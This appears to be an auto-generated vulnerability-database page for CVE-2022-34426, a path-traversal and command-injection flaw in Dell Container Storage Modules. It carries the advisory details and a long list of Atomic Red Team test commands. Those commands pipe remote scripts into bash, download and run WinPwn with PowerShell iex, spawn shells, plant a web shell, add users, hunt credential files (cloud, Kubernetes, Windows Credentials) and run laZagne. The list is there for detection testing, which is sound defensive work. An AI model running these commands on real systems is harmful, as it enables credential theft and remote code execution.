CVE-2022-34426
Overview
The vulnerability is an improper limitation of a pathname to a restricted directory within the goiscsi and gobrick libraries used by Dell Container Storage Modules version 1.2. This flaw arises from inadequate validation of file system paths, allowing traversal beyond intended directory boundaries. The affected components mishandle pathname inputs, enabling unauthorized directory access due to insufficient path sanitization controls.
Vulnerability Description
Dell Container Storage Modules 1.2 contains an Improper Limitation of a Pathname to a Restricted Directory in goiscsi and gobrick libraries which could lead to OS command injection. A remote unauthenticated attacker could exploit this vulnerability leading to unintentional access to path outside of restricted directory.
Impact
An unauthenticated remote attacker can exploit this vulnerability to access or execute operating system commands outside the restricted directory context, potentially leading to full system compromise. The attack requires only network access with no user interaction or prior authentication (CVSS vector AV:N/AC:L/PR:L/UI:N). Consequences include unauthorized data access, privilege escalation, and disruption of container storage services, impacting confidentiality, integrity, and availability of the affected system.
Solution
Dell has released security updates addressing this vulnerability in the Dell Container Storage Modules product line. Administrators should apply the patches as detailed in Dell Security Advisory DSA-2022-259 available at https://www.dell.com/support/kbdoc/en-vc/000203352/dsa-2022-259-dell-container-storage-modules-security-update-for-multiple-vulnerabilities. The advisory provides version-specific remediation instructions and recommends updating to the fixed release versions of the Container Storage Modules to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Container Storage Modules | All |
cpe:2.3:a:dell:container_storage_modules:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-34426 |
| dell.com |
GitHub CVE
|
https://www.dell.com/support/kbdoc/en-vc/000203352/dsa-2022-259-dell-container-storage-modules-security-update-for-multiple-vulnerabilities |